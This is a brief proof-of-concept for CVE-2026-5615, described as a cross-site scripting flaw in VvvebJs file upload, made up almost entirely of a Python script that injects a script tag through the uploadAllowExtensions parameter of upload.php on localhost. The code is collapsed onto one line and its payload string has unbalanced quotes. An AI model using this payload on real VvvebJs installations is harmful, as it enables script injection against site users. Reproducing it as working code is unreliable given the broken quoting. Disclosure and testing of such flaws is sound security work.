CVE-2026-5615: VvvebJs文件上传XSS漏洞

import requests # Target URL configuration target = "http://localhost/vvvebjs/upload.php" # Malicious payload injected into the uploadAllowExtensions parameter # This attempts to execute JavaScript when the page is rendered payload_data = { "uploadAllowExtensions": "jpg,png"><script>alert('CVE-2026-5615_PoC')</script>" } try: response = requests.post(target, data=payload_data) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check if the XSS payload is reflected in the response or stored.") else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"Error: {e}")